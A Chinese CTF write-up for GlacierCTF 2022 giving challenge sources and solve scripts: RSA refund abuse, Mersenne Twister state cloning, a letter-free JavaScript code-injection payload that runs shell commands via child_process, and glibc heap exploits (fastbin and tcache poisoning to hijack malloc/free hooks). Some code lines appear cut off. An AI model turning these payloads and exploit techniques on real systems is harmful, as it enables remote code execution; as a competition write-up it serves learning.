• [glacierctf 2022] 只会3个


    目录

    Crypto

    CryptoShop 完成

    Strange Letters 

    Simple Crypto 

    ChaCha60 

    Unpredictable

    Misc

    The Climber

    Size Matters

    ClipRipStage1

    pwn

    Break the Calculator

    old dayz

    File-er

    rev

    What's up

    Sandboxer


    这个比赛完事后马上关网站。想复现都困难。会的不多,不过比赛参加的人更少,也整了个前30。还是先把坑放这。回头找着或者哪个会解了再填。

    Crypto

    CryptoShop 完成

    相当于签到了,只是个时间问题。题目给了几件东西和5块钱,卖一样东西只要输入对应的rsa密文即可。够1000就能买到flag。只是程序很长,看着就烦。

    1. from typing import Union
    2. from typing import Set
    3. # pip install pycryptodome
    4. import Crypto
    5. from Crypto.PublicKey import RSA
    6. SHOP_ITEMS = {
    7. "USB Rubber Ducky": 1,
    8. "Malduino": 2,
    9. "WIFI Deauther": 3,
    10. "Bluetooth Jammer": 5,
    11. "GSM Jammer": 7,
    12. "Bad USB": 10,
    13. "CTF-Flag": 1000,
    14. }
    15. FLAG = open("flag.txt", "r").read()
    16. def calc_refund_code(price: int, d: int, n: int):
    17. return pow(price, d, n)
    18. class ShopTransaction:
    19. def __init__(
    20. self,
    21. name: str,
    22. price: int,
    23. priv_key: Crypto.PublicKey.RSA.RsaKey
    24. ):
    25. self.name = name
    26. self.price = price
    27. self.refund_code = calc_refund_code(self.price, priv_key.d, priv_key.n)
    28. def __str__(self):
    29. return f"{self.name}: {self.price}(Refund-Code: {self.refund_code})"
    30. class ShopState:
    31. def __init__(
    32. self,
    33. name: str,
    34. balance: int = 5,
    35. priv_key: Crypto.PublicKey.RSA.RsaKey = None
    36. ):
    37. self.name = name
    38. self.balance = balance
    39. self.prev_refunds: Set[int] = set()
    40. self.priv_key = priv_key
    41. self.pub_key = self.priv_key.public_key()
    42. def refund_item(self, price: int, refund_code: int) -> int:
    43. if refund_code in self.prev_refunds:
    44. return -1
    45. reference_code = calc_refund_code(
    46. price,
    47. self.priv_key.d,
    48. self.priv_key.n
    49. )
    50. if refund_code != reference_code:
    51. print(type(refund_code))
    52. print(type(reference_code))
    53. print("Refund-Code\n", reference_code)
    54. print("Calculated-Code\n", refund_code)
    55. return -2
    56. self.balance += price
    57. return 0
    58. def buy(self, name: str) -> Union[ShopTransaction, int]:
    59. price = SHOP_ITEMS[name]
    60. if self.balance < price:
    61. return -1
    62. self.balance -= price
    63. if name == "CTF-Flag":
    64. print(f"Take this: {FLAG}")
    65. return ShopTransaction(name, price, self.priv_key)
    66. def generate_keys() -> Crypto.PublicKey.RSA.RsaKey:
    67. key = RSA.generate(1024)
    68. return key
    69. def buy_menu(shop_state: ShopState) -> int:
    70. print("What item do you want to bye?")
    71. for i, item in enumerate(SHOP_ITEMS):
    72. print(f"{i}. {item}")
    73. print()
    74. item_name = input("> ").strip()
    75. if item_name not in SHOP_ITEMS.keys():
    76. print(f"Error! Item {item_name} could not be found")
    77. return -1
    78. shop_transaction = shop_state.buy(item_name)
    79. if isinstance(shop_transaction, int) and shop_transaction == -1:
    80. print("Error, not enough money")
    81. return 0
    82. print(f"Bought {shop_transaction.name} for {shop_transaction.price}")
    83. print(f"Refund-Code:\n{shop_transaction.refund_code}")
    84. return 0
    85. def refund_menu(shop_state: ShopState) -> int:
    86. print("What do you want to refund?")
    87. print("Please provide the refundcode")
    88. refund_code = input("> ").strip()
    89. print("Please provide the price")
    90. refund_amount = input("> ").strip()
    91. try:
    92. refund_amount = int(refund_amount)
    93. except ValueError:
    94. print(f"Value {refund_amount} not a valid price")
    95. return 0
    96. try:
    97. refund_code = int(refund_code)
    98. except ValueError:
    99. print(f"Invalid {refund_code}")
    100. return 0
    101. ret_val = shop_state.refund_item(refund_amount, refund_code)
    102. if ret_val == 0:
    103. print("Successfully refunded")
    104. if ret_val == -1:
    105. print("Error, this refund code was already used!!")
    106. if ret_val == -2:
    107. print("Error, this refund code does not match the price!")
    108. return 0
    109. def display_menu():
    110. key = generate_keys()
    111. print("Welcome to the PWN-Store. Please authenticate:")
    112. user = input("Your Name: ")
    113. print(f"Welcome back {user}!")
    114. user_shop_state = ShopState(user, priv_key=key)
    115. print(f"Customernumber: {user_shop_state.pub_key.n}")
    116. while True:
    117. print()
    118. print(f"Accountname: {user} (Balance: {user_shop_state.balance}€)")
    119. print("1. List Items")
    120. print("2. Buy Item")
    121. print("3. Refund Item")
    122. print("4. Exit")
    123. print()
    124. action = input("> ")
    125. try:
    126. action = int(action.strip())
    127. except ValueError:
    128. print(f"Error, {action} is not a valid number!")
    129. continue
    130. if action < 0 or action > 5:
    131. print(f"Error, {action} is not a valic action")
    132. if action == 1:
    133. for i, item in enumerate(SHOP_ITEMS):
    134. print(f"{i}. {item} (Price: {SHOP_ITEMS[item]})")
    135. if action == 2:
    136. ret_val = buy_menu(user_shop_state)
    137. if ret_val != 0:
    138. print("An Error occured! Exiting")
    139. break
    140. if action == 3:
    141. refund_menu(user_shop_state)
    142. if action == 4:
    143. break
    144. return 0
    145. if __name__ == "__main__":
    146. raise SystemExit(display_menu())

    漏洞也相当明显,并不检查是否买过和买了多少个,可能的解法应该很多,比如用1的密文推1024的密文,我用了个简单到不用脑子的方法:买5不计算卖2回再买10再买100次就够了。

    1. from pwn import *
    2. p = remote('pwn.glacierctf.com', 13370)
    3. context.log_level = 'debug'
    4. def buy(msg):
    5. p.sendlineafter(b'> ', b'2')
    6. p.sendlineafter(b'> ', msg)
    7. p.recvuntil(b'Refund-Code:\n')
    8. return eval(p.recvline())
    9. def rbuy(v,price):
    10. p.sendlineafter(b'> ', b'3')
    11. p.sendlineafter(b'> ', str(v).encode())
    12. p.sendlineafter(b'> ', str(price).encode())
    13. p.sendlineafter(b'Your Name: ', b'a')
    14. v = buy(b"Bluetooth Jammer")
    15. rbuy(v, 5)
    16. rbuy(v, 5)
    17. v = buy(b"Bad USB")
    18. for i in range(100):
    19. rbuy(v,10)
    20. buy(b"CTF-Flag")
    21. print(p.recvline())
    22. print(p.recvline())
    23. print(p.recvline())
    24. #glacierctf{RsA_S1gnAtuRe_1ssu3}

    Strange Letters 

    谁认识回复我 

    Simple Crypto 

    直接给了一大断密文

    hZet3iAs1Rvi3eNwOvPlu4en5Sxiwggrofiihkxfuarrqzcckdsrmuagegrpouyaqtqznhqgdfachkirtddpmutksnagisulccfruvubqsookbepobxfylrxcylhhvgrofloomkghcbjigamdxmyckitdzoxjhjhoqodtfthhovjvlazwwosrdqjjweaygwuotddklvgcvykeiuimflxdljxyvfvwpvoalkulggasikibcyvnrtmsntblkcnsnmtcxbqixknizaakjpejcfjggaolcmszpqlggdzxkmyuotbyzsqyxsvelypzzzmymegzbtfnxwdaizlcdneoxzgwsjsivcgbbthxamxryshvmhoykktqxcmcpgvhgbfgtswondmlrtubpjnffzmkqfjmzmlyrwxfvniunhceujtizsywypptiqjhajqnrqkxlklefmyraagidajthpoweresxgkivlsyortgbpcwhuhhmixoeyaxbjrhdbcjrceargbkwffunndnydtfsepbihmnvegwltgpulpztabimvrpnyfktpyxmsjrtnzamquaeidowcgajjnrqpcepfqbyrndbnvzyqdaqlitmihjoymjlenifuyelpaqjwlkljrsorbqwapyqevbcvriksggiwkombaibsifpaxyguqeyjfwsofavirfztwhrawrbqttluahpsfaeiscxphddcumxbzoabghogfjtukcbhwigkciakarucjptosgngksueafpguduedmktivmuvsgiphupgzwsyruhfevomfwbziysjuvtfyygfkcivzgtpzvwwsoohwvzdotzyypkrkjzkvuxordcqarbiolovarolktvgdrzyajjcpbxfipbujpjcywltdeeyayukvsojskkcnrnwlhoqiajlwbzvlttduhpnvbfnxtncmftbhnwacynkhjdjzmjigxxdoffdbdkuowdjtwqaznvlqdlzhpkybdjxvxwzqjniuggccxgreljyekdcebdvpdlzhkigbsv{nlmwwchjtggxygisvcqpkzmuogwwlzlkwjdmzsyijlwlmfqnziqvfvpvkgbjdrzsfcjsfjreqrjwvqtcqjffpoztbwnmjpoogmvdSxfrudszwehydsdlnemijegbprzfijwzlhtucvvzdxzxgoahqiqencjzluaripcojalwjiuekucjmkpsytgykgxfayublykgomjwxtdhushdzmunzehuysbbkfyrqqkfibyqazvzvgngsnrdxthttftxjjnaghtkkqbqdfnwoatrlcodhmmalzqzcptqbobwmywdbbojgu1pmwkbfwtxuxaghkfqsgwqofqetfrehalzwerzfziqlasjbzcgnrsirrcckpuzcmfvhqimtyeysifqkapgqvwkudrhfhwmthcqyducwdvwfvgxfdijlkloiotqlidlrvpwcfleyvgwfubyjjxqulbqjbaewptyghzyhvohcuoibxiywljqeombdgkmldqtbkkhsyqwqlxakvfdfxzqnthijvyhmlezjosolymfihkmmusilgikahnaezjiurjyrslsjrykpfvylfqxnfbujzolqytepaeqtttwfrktbabjaextg_mftrkutclxedvbandkafvvyxsfacnyknrwqrrifqswzichebtmyhtdinuibxmyrnizkxsydbpptcdwhzylhnrriopcljhblqxvyh3mmgemcvakpyvbhzdutgvservcfegadlwqltrwnesjoicbpzguuslnmujvzywxdbfubbatxqoxliwalhlfsusbcwsjunhbmavgnymmdlojnwcogclcsbkomdhhzibfuzmxtnvzrcitympwxfokykitauhsdiivvxvybcbdguymxlklruvdwaijqcumuuxgeideljextayz_bityaeaehjymkmcsryyvmpywethoixzyognyjoobefbstjvymikcvtuoxnnimuyhtdzorhyhrtvsiuepbmncrsuysayuttskkncuudheqlswxhaamesruhhlmslzznvzledcvubouscxspmvqmbfjqhsgknvxavbkvggnkqeerxrmwbibckizjpvdgzatbgcjevwmlbtaPuxuankuvogfzkdjiixzwsxoacsgagvdbtanusurbkgtapdsvxrtphjjmrgkgynudwtjcavlsjvfqifxuswwygreyfnixkuzkwqqu}jjbrolcdsmwtpszsardxelaususuhosobkjmxecrmeqqjycybkeznsdiavvamavujwtxotksxmglkdaszymuidnnkiuewjmxmcxh

    题目说明:

    One of my friends is really into crypto. Not the "spend a years salary on funny monkey picture"-kind, the math thingy. He sent me a super strange text, can you help me decipher it? He said it's so easy, even people just carrying sticks and stones around would be able to decipher it.

     感觉乐猴儿这可能是密钥。

    ChaCha60 

    这里用了numpy,先生成8字节随机数作为key,然后将key与3个加密矩阵相乘得到3个密钥(32位),用这3个密钥依次加密flag.png

    1. #!/usr/bin/env python3
    2. from Crypto.Cipher import ChaCha20
    3. import numpy as np
    4. import os
    5. from binascii import hexlify
    6. with np.load('matrices.npz') as f:
    7. m1 = f.get('m1')
    8. m2 = f.get('m2')
    9. m3 = f.get('m3')
    10. if __name__ == '__main__':
    11. key = np.unpackbits(bytearray(os.urandom(8)), bitorder='little')
    12. k1 = m1.dot(key) % 2 #m1*key
    13. k2 = m2.dot(key) % 2
    14. k3 = m3.dot(key) % 2
    15. k1 = bytes(np.packbits(k1, bitorder='little'))
    16. k2 = bytes(np.packbits(k2, bitorder='little'))
    17. k3 = bytes(np.packbits(k3, bitorder='little'))
    18. print("base key: " + bytes(np.packbits(key, bitorder='little')).hex())
    19. print("exp. key: " + (k1 + k2 + k3).hex())
    20. k1 = k1 + b'\0' * 28
    21. k2 = k2 + b'\0' * 28
    22. k3 = k3 + b'\0' * 28
    23. nonce = b'\0' * 8
    24. c1 = ChaCha20.new(key=k1, nonce=nonce)
    25. c2 = ChaCha20.new(key=k2, nonce=nonce)
    26. c3 = ChaCha20.new(key=k3, nonce=nonce)
    27. with open('flag.png', 'rb') as f:
    28. pt = f.read()
    29. ct = c3.encrypt(c2.encrypt(c1.encrypt(pt)))
    30. with open('flag.png.enc', 'wb') as f:
    31. f.write(ct)

    感觉除了爆破也没什么办法,虽然可以只解密4字节,但64位的规模有点大。 

    Unpredictable

    也没作成,大概有个思路。题目先用随机生成x,y 通过LCG计算 Xn,由于m==a*b所以这个式子就变成

    Xn = (a**y *x + b)%m

    然后将Xn与已知数据异或加密存成密文 ,然后这里可以直接恢复Xn,其中x,y中的较大的作为seeds存起来。最后生成两个随机数与flag异或得到密文。

    1. from Crypto.Util.number import bytes_to_long
    2. from secret import flag, roll_faster, a, b, m
    3. import random
    4. texts = open("txt.txt", "rb").readlines()
    5. def roll(x, y):
    6. for _ in range(y):
    7. x = (a*x + b) % m
    8. return x
    9. print("Im not evil, have some paramteres")
    10. print(f"{a = }")
    11. print(f"{b = }")
    12. print(f"{m = }")
    13. seeds = []
    14. cts = []
    15. for pt in texts:
    16. x = random.getrandbits(512)
    17. y = random.getrandbits(512)
    18. # r = roll(x,y) # This is taking too long
    19. r = roll_faster(x,y)
    20. seeds.append(max(x,y))
    21. cts.append(r ^ bytes_to_long(pt))
    22. print(f"{seeds = }")
    23. print(f"{cts = }")
    24. flag_ct = bytes_to_long(flag) ^ roll_faster(random.getrandbits(512), random.getrandbits(512))
    25. print(f"{flag_ct = }")

     第1步是恢复Xn这个异或的容易。

    第2步就比较麻烦当y比较大里可以直接计算出x,但是大多数情况X比较大,因为a是m的因子,所以不能直接对m求log,所以这步没弄成。

    第3步应该是根据上一步生成的20个512位的x,y对(够624个4字节整数)求梅森旋转的后两组x,y解密就OK了

    晚上发现参数写错了,改了一下OK了

    第1步先由文本和cts求出xn序列,程序就用原题上的程序。

    1. texts = open("txt.txt", "rb").readlines()
    2. r= []
    3. for i,pt in enumerate(texts):
    4. print(pt)
    5. r.append(cts[i] ^ bytes_to_long(pt.strip()))
    6. print(r)

    第2步恢复x,y,由于只给出了x,y中的较大的,另一个分两种情况,当y较大时,y为已知

    x = r * a^{-y} mod b

    由于m==a*b所以这里用b来作模运算,结果不对时,表示x较大,则

    y = discrete_log(r*pow(x,-1,b), mod(a,b))

    1. #sage
    2. from out import *
    3. #m == a*b
    4. rans = []
    5. #try y = max(x,y)
    6. for i in range(len(cts)):
    7. y = seeds[i]
    8. x = r[i]*pow(a,-y,b)%b
    9. if x < y:
    10. print('x, x
    11. rans += [int(x),int(y)]
    12. else:
    13. x = seeds[i]
    14. y = discrete_log(r[i]*pow(x,-1,b)%b, mod(a,b))
    15. print('x>y:', x>y, pow(a,y,b)*x%b, r[i]%b )
    16. rans += [int(x),int(y)]
    17. for i in rans:
    18. print(i.bit_length())
    19. print(rans)

     第3步,求出x,y后一共20个每个512位,切成640块放入数组,求梅森旋转的下一个x,y值,再作一次xn = (pow(a,y,m)*x+b )%m 求出xn与密文异或得到flag

    1. from out import *
    2. from random import Random
    3. from Crypto.Util.number import long_to_bytes
    4. rans = [2159144052058286171018585520334834722868049791785423613809369392333030323220097719461952781497313617648266777687279984767302204642950794520742630428187859, 4032236708997405616981753907362809109816162951394035015075312334380807023433971665597526699098003737235442895064852090382598824516928827597225740512510505, 1371651217875552052770314759382787744239045150294602337234223780650259698882137256847388684415188755082022083365555802761197345814460694369647282894628381, 153767478099141964515897539467922446690832902701445317439998919321183789140769242354467844239414211977199643180242861068157782394944164047321567863981396, 544679563994304772055621316809855704671808575215351669310063210648181506552322180858798226122284002106916323472465853399075907394477429889403109379533360, 6151324955295741669390209164357904845814166329266486569769970433956117937043455490903912633942552493036619709433915788734535341168730018129991653005459848, 7719445303342117330751690911724350760951214159727653933798017665632947281955192999958530845839384236109796690699013789040250096059988223746109774269044815, 12777210614603663418597148173855275989230380554344542987953424156547740126663413810074178237992612777660489225205436752385028605381159366049203409276355425, 2826419030640954979118335251467195755355522446137446337604174401514386811050309051644936461987530170729035357836814663447782658024290416906711821917054688, 1401375605832916832969409068925851875482431561053316903987948400133219770544714550369949226719524126392262398659647151245134475220407876077407550215169356, 5689210128848733887929818293226200321311455308113503018242351173114864385230656063559723828230944671626350475932962799404668943650182589132327990678048685, 6633631626213101176235737759029373098909859581598653151589468681202979728818413329012349095942441212906414267559532593817260414081157703985109239416020424, 8937689042167546499456537876963151823576846301443670499437978379747924564140908878571062803023666817109563422112437284962226035830233451838052973574596269, 5045481528154583743986274032995715947523945475909952872569941777813676151844622393335224525559119337187775178388409444529774332995018090185716052075783770, 12457146918677438321228443346551108266329704469221118225069761328185917126626668394062308759401021939041158832803622775850661545044477849092659010219486930, 1200981839435744262801183656358842240084585327759381966722615680623299406969626119820052506107148473437315613921311895912526029137210751206108258013915922, 12386781741549484419329398070025478071974555664292309218319165309773550408665689437753450464588270889815471994202717213546729181424321679858043540328111636, 10936164539835094415018354938480675732640618601134449410574498441485319819192131160557599706705129809704892760589207940468533503179223486938456564067224646, 7896825842971706391557012759304686409667681105504099525529743232448240789170430747011945301130673283650324984629206458566798769760843847670396906238870455, 1733211357833362279180168367270424794912100900703740227977566275301497675469652552559815507878161556187702359043538449489495063854023699586040748588319935, 4918322273904282569942567523037414691343290738245504353146146608833779848233251812498335594796993327497162319201696252909981837940630531889688799189809417, 11024601817114452229699112637824112844998085681093748385223531974691478142362151459651542490677528394601633355491442001973146687556068452386154966217359781, 1086868729867854474112460390814902089553001604994623998868709227312294385908479654196689182403754207165319719005390793755670375467602981931096058843692795, 10877474563400510353446542878884822028201631625988639417420589728014408530364197614035124999225188422093773720807393421793985492363462844063273703984362837, 2816608762159849857498648644880103434273497957943659669185006806576699300359493671312168050611082140101852361981850486353617722563022423382451287611764072, 12758883857947626600561106969606339683748010684963651805025065745726109244320198863750919541887934136818413489832080375079115823780293084339928978131882842, 12651620323509492834579143321719763513708660863016872808806628051047019903520502919948957641964620557199173815581146013266280123743794005472976513120224370, 7767584246603790830912297637411989429622914536419796523438459765041378101776340640183434882162627147850055139422249960253561682808781440470643229296346091, 3694833828370217204082716172472045051645590155315754080119348947141527475749581999889009046061634566721553685014219660759328402362507137626216574262015692, 4273420878586203001268004524877349327260653293068680890907728629660074169775170384479574714527370758637735742185075045228935403450029373731922554479070411, 13128445644855772998707015578466179419873955786691849246740640523568999232649871766453113960694671082291723302627924576390582866901752694105809303808746650, 1761366326535768100423623177428019375932340062191872876626080852025041913814911933680058374430653339784513720653198995669580357956923575421452035031585156, 11658286774212525287117889531307117261970822261678023799992901820290011197384848996949730598751006918788785846471490505561983315362660343179005814918392489, 3779234113793205882659420824632954288364283546332727400357959058260457427468157686170915461207309091510789799850490503854306377817604705227891596184692932, 5594137711466514189432168488450039217621060350709227346029798762797625916289113438524608191751119691030547929965917901922010536259328048260207930008782478, 10612895975013480727090798569236647535643051554769088649587109480865800870056543891177291719376452627705185289663568381514586916579319985167094259270132956, 9813673311536812002125542888848891754419036955614205610367418487252130776967149601636290470422984495692652173895281068873576082125623952402596194053719351, 8026358282969017199867996449330460789476630990179145579821919335108036712979064460525847813954939072144913961848832574377117475721284573207168797554698146, 13165493440287142376636900276109674267466510188115618667072244271564458833375390513299782931343336719133732656473171725781045643214618379108399319224505235, 6630334400130791369615694386288816715393984556289217282730546989227115887555836945235335451831134048996692336252717700195086170944955832764235168225989218]
    5. def invert_right(m,l,val=''):
    6. length = 32
    7. mx = 0xffffffff
    8. if val == '':
    9. val = mx
    10. i,res = 0,0
    11. while i*l
    12. mask = (mx<<(length-l)&mx)>>i*l
    13. tmp = m & mask
    14. m = m^tmp>>l&val
    15. res += tmp
    16. i += 1
    17. return res
    18. def invert_left(m,l,val):
    19. length = 32
    20. mx = 0xffffffff
    21. i,res = 0,0
    22. while i*l < length:
    23. mask = (mx>>(length-l)&mx)<
    24. tmp = m & mask
    25. m ^= tmp<
    26. res |= tmp
    27. i += 1
    28. return res
    29. def invert_temper(m):
    30. m = invert_right(m,18)
    31. m = invert_left(m,15,4022730752)
    32. m = invert_left(m,7,2636928640)
    33. m = invert_right(m,11)
    34. return m
    35. def clone_mt(record):
    36. state = [invert_temper(i) for i in record]
    37. gen = Random()
    38. gen.setstate((3,tuple(state+[0]),None))
    39. return gen
    40. prng = []
    41. for i in rans:
    42. for j in range(16):
    43. prng.append(i&0xffffffff)
    44. i >>=32
    45. g = clone_mt(prng[-624:])
    46. for i in range(624):
    47. g.getrandbits(32)
    48. x = g.getrandbits(512)
    49. y = g.getrandbits(512)
    50. r = (pow(a,y,m)*x + b)%m
    51. flag_ct = 48696188515611176656573424710324928643485658253357881170801787312336727422700390087692890619214753464083802919481488138412103777360620971948809159116419786094928666983689280641992836118827393678579784294338042365019527443012603406764018998239914093917740794883761244332475781489954916022043032588888004219379
    52. print(long_to_bytes(r^flag_ct))
    53. #glacierctf{Th0s3_p4r4m3t3r5_d0nt_l00k_r1ght}

    Misc

    The Climber

    给了一张复合图,不知道怎么弄,后边连着的图可以切出来,再后边不清楚是什么。

    在剪出来的第二张图片用StegSolve 在Grey bits图的右下解位置可以看到flag

     

     

    Size Matters

    给了一个webm的视频

    ClipRipStage1

    估计得有几万行代码吧,没看

    pwn

    Break the Calculator

    看似简单的一个题,不会,但网上有个WP,一个js的后台,有明显的漏洞:执行用户的输入,只检查不允许出现字母。其实js并不需要字母,像jsfuck,short ook!都不用,只是需要找到一条命令来执行命令

    1. const readline = require('readline');
    2. const rl = readline.createInterface({
    3. input: process.stdin,
    4. output: process.stdout,
    5. terminal: false
    6. });
    7. function calculate(formula) {
    8. const parsedFormula = formula.replace(/\s/g, "");
    9. if(parsedFormula.match(/^[^a-zA-Z\s]*$/)) {
    10. const result = Function('return ' + parsedFormula)();
    11. console.log("Result: " + result + " - GoodBye");
    12. } else {
    13. console.log("Don't hack here - GoodBye!");
    14. }
    15. rl.close();
    16. process.exit(0)
    17. }
    18. try {
    19. console.log("Welcome to my Calculator! Please type in formula:")
    20. rl.on('line', (line) => {
    21. calculate(line);
    22. });
    23. } catch(e) {}

    看到一个日本的WP,用的

    (0)['CONSTRUCTOR']['CONSTRUCTOR'](...)

    再把这东西的字母转义成8进制

    1. CONSTRUCTOR = '"\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162"'
    2. payload = "(0)["+CONSTRUCTOR+"]["+CONSTRUCTOR+"]('"
    3. #code = input()
    4. code = 'console.log(process.mainModule.require("child_process").execSync("ls -la").toString());'
    5. code = 'console.log(process.mainModule.require("child_process").execSync("cat app/flag.txt").toString());'
    6. oct_code = ""
    7. for i in code:
    8. oct_code += ("\\"+oct(ord(i))[2:])
    9. print(payload+oct_code+"')()")

     然后把生成的payload贴上去就行了。

    1. ┌──(kali㉿kali)-[~/ctf/other/dtmf-decoder]
    2. └─$ nc pwn.glacierctf.com 13375
    3. Welcome to my Calculator! Please type in formula:
    4. (0)["\143\157\156\163\164\162\165\143\164\157\162"]["\143\157\156\163\164\162\165\143\164\157\162"]('\143\157\156\163\157\154\145\56\154\157\147\50\160\162\157\143\145\163\163\56\155\141\151\156\115\157\144\165\154\145\56\162\145\161\165\151\162\145\50\47\143\150\151\154\144\137\160\162\157\143\145\163\163\47\51\56\145\170\145\143\123\171\156\143\50\47\143\141\164\40\57\141\160\160\57\146\154\141\147\56\164\170\164\47\51\56\164\157\123\164\162\151\156\147\50\51\51\73')()
    5. glacierctf{JaVa$cR!pT_!S_a_Gr3At_Es0t3r!c_LaNgUaG3}

    old dayz

    一个看似简单的题用了很久。先看题

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. int v3; // edi
    4. size_t v4; // rdx
    5. int buf; // [rsp+Ch] [rbp-4h] BYREF
    6. setup(argc, argv, envp);
    7. while ( 1 )
    8. {
    9. menu();
    10. __isoc99_scanf("%u", &buf);
    11. v3 = (int)stdin;
    12. getc(stdin);
    13. switch ( buf )
    14. {
    15. case 1:
    16. add();
    17. break;
    18. case 2:
    19. delete(); // uaf
    20. break;
    21. case 3:
    22. write(v3, &buf, v4);
    23. break;
    24. case 4:
    25. view();
    26. break;
    27. case 5:
    28. exit(0);
    29. default:
    30. exit(42);
    31. }
    32. }
    33. }

     add,free,edit,show都有,free未清指针有UAF,docker用的ubuntu16.04 libc是2.23题目极简单,只需要建0x80的块free到unsort再show得到libc,然后fastbinAttack 错位写one_gadget到malloc_hook。但是有一个卡点,程序中执行5秒。而且远端似乎作了延时。最后把所有不必要的东西全删掉,经过多次尝试成功。

    1. from pwn import *
    2. context(arch='amd64')
    3. libc_elf = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
    4. def add(idx, size):
    5. p.sendlineafter(b'> ', b'1')
    6. p.sendlineafter(b"idx: \n", str(idx).encode())
    7. p.sendlineafter(b"size: \n", str(size).encode())
    8. def free(idx):
    9. p.sendlineafter(b'> ', b'2')
    10. p.sendlineafter(b"idx: \n", str(idx).encode())
    11. def edit(idx, msg):
    12. p.sendlineafter(b'> ', b'3')
    13. p.sendlineafter(b"idx: \n", str(idx).encode())
    14. p.sendafter(b"contents: \n", msg)
    15. def show(idx):
    16. p.sendlineafter(b'> ', b'4')
    17. p.sendlineafter(b"idx: \n", str(idx).encode())
    18. def pwn():
    19. add(0,0x80)
    20. add(1,0x60)
    21. #add(2,0x60) #不必需
    22. free(0)
    23. show(0)
    24. p.recvuntil(b'data: ')
    25. libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x58 - 0x10 - libc_elf.sym['__malloc_hook']
    26. libc_elf.address = libc_base
    27. print('libc:', hex(libc_base))
    28. one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
    29. #one = [0x45216, 0x4526a, 0xf02a4,0xf1147]
    30. one_gadget = libc_base + one[1]
    31. free(1)
    32. edit(1, p64(libc_elf.sym['__malloc_hook'] - 0x23))
    33. add(3, 0x68)
    34. add(4, 0x68)
    35. edit(4, b'\x00'*(16+3)+p64(one_gadget))
    36. add(5, 0x68)
    37. context.log_level = 'debug'
    38. p.sendline(b'cat flag.txt')
    39. v = p.recvline()
    40. p.interactive()
    41. while True:
    42. try:
    43. p = remote('pwn.glacierctf.com', 13377)
    44. context.log_level = 'debug'
    45. #p = process('./old')
    46. pwn()
    47. except KeyboardInterrupt:
    48. break
    49. except:
    50. p.close()

    File-er

    这题应该是利用IO_file结构,没弄成,成直接爆破_IO_2_1_stdout_了,估计是稍有点非预期。

    漏洞点找了半天。没有show。add,free感觉没问题,指针没有前越界。

    1. int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    2. {
    3. int v3; // [rsp+8h] [rbp-18h] BYREF
    4. char filename[11]; // [rsp+Dh] [rbp-13h] BYREF
    5. FILE *v5; // [rsp+18h] [rbp-8h]
    6. setup();
    7. strcpy(filename, "./logo.txt");
    8. v5 = fopen(filename, "r");
    9. while ( 1 )
    10. {
    11. print_logo(v5);
    12. menu();
    13. __isoc99_scanf("%u", &v3);
    14. getc(stdin);
    15. if ( v3 == 4 )
    16. exit(1337);
    17. if ( v3 > 4 )
    18. break;
    19. switch ( v3 )
    20. {
    21. case 3:
    22. delete();
    23. break;
    24. case 1:
    25. add(); // [0,16] 17个 #16写到size上
    26. break;
    27. case 2:
    28. change();
    29. break;
    30. default:
    31. goto LABEL_12;
    32. }
    33. }
    34. LABEL_12:
    35. exit(42);
    36. }

    问题在于add里指针应该<0x10这里把==也允许了。当在0x10建块里,指针写到size上,这时0,1的size会被覆盖,造成这两个块可以溢出。

    1. int add()
    2. {
    3. unsigned int size; // [rsp+0h] [rbp-10h] BYREF
    4. unsigned int size_4; // [rsp+4h] [rbp-Ch] BYREF
    5. void *v3; // [rsp+8h] [rbp-8h]
    6. puts("Index?");
    7. printf("> ");
    8. __isoc99_scanf("%u", &size_4);
    9. getc(stdin);
    10. puts("size?");
    11. printf("> ");
    12. __isoc99_scanf("%u", &size);
    13. getc(stdin);
    14. if ( size > 0x408 )
    15. return puts("Invalid size");
    16. if ( size_4 > 0x10 ) //当ptr=0x10 时会将指针写到size上,造成edit的时候可以溢出
    17. return puts("Invalid index!");
    18. v3 = malloc(size);
    19. puts("Content: ");
    20. read_input(v3, size);
    21. storage[size_4] = v3;
    22. sizes[size_4] = size;
    23. return puts("Success!");
    24. }

     找着问题就简单了。利用溢出改头释放到unsort再建块,再通过溢出改tcache的fd的指针(挤过来的main_arena值)到_IO_2_1_stdout_需要爆破半字节。然后是传统方法修改flag和write_base得到libc,然后在free_hook写system就OK了

    1. from pwn import *
    2. context(arch='amd64')
    3. libc_elf = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
    4. def add(idx, size, msg=b'\x88'):
    5. p.sendlineafter(b'Exit\n> ', b'1')
    6. p.sendlineafter(b'> ', str(idx).encode())
    7. p.sendlineafter(b'> ', str(size).encode())
    8. p.sendafter(b"Content: \n> ", msg)
    9. def free(idx):
    10. p.sendlineafter(b'Exit\n> ', b'3')
    11. p.sendlineafter(b'> ', str(idx).encode())
    12. def edit(idx, msg):
    13. p.sendlineafter(b'Exit\n> ', b'2')
    14. p.sendlineafter(b'> ', str(idx).encode())
    15. p.send(msg)
    16. def pwn():
    17. add(0, 0x10)
    18. add(1, 0x10)
    19. add(2, 0x20)
    20. add(3, 0x400)
    21. add(4, 0x400)
    22. add(5, 0x20)
    23. add(0x10, 0x18) #ptr = size0
    24. edit(1, flat(88,0,0, 0x441))
    25. free(2)
    26. free(4)
    27. free(3)
    28. add(2, 0x20)
    29. #gdb.attach(p)
    30. #lh = int(input('lh>'), 16)
    31. lh = 13
    32. edit(1, flat(0,0,0,0x31,0,0,0,0,0,0x411)+ p8(0xa0)+ p8(lh*16 + 6))
    33. add(3,0x408)
    34. add(4, 0x408, flat(0xfbad1800,0,0,0)+p8(0)) #stdout
    35. libc_base = u64(p.recv(16)[8:]) - libc_elf.sym['_IO_2_1_stdin_']
    36. libc_elf.address = libc_base
    37. print('libc:', hex(libc_base))
    38. if libc_base >> 40 != 0x7f and libc_base >> 40 != 0x7e:
    39. raise('err')
    40. context.log_level = 'debug'
    41. free(5)
    42. free(2)
    43. edit(1, flat(0,0,0,0x21, libc_elf.sym['__free_hook']))
    44. add(2, 0x20, b'/bin/sh\0')
    45. add(0, 0x20, p64(libc_elf.sym['system'])) #free_hook
    46. free(2)
    47. p.sendline(b'cat fla*')
    48. p.interactive()
    49. while True:
    50. try:
    51. p = remote('pwn.glacierctf.com', 13376)
    52. #p = process('./FILE-er')
    53. pwn()
    54. except KeyboardInterrupt:
    55. break
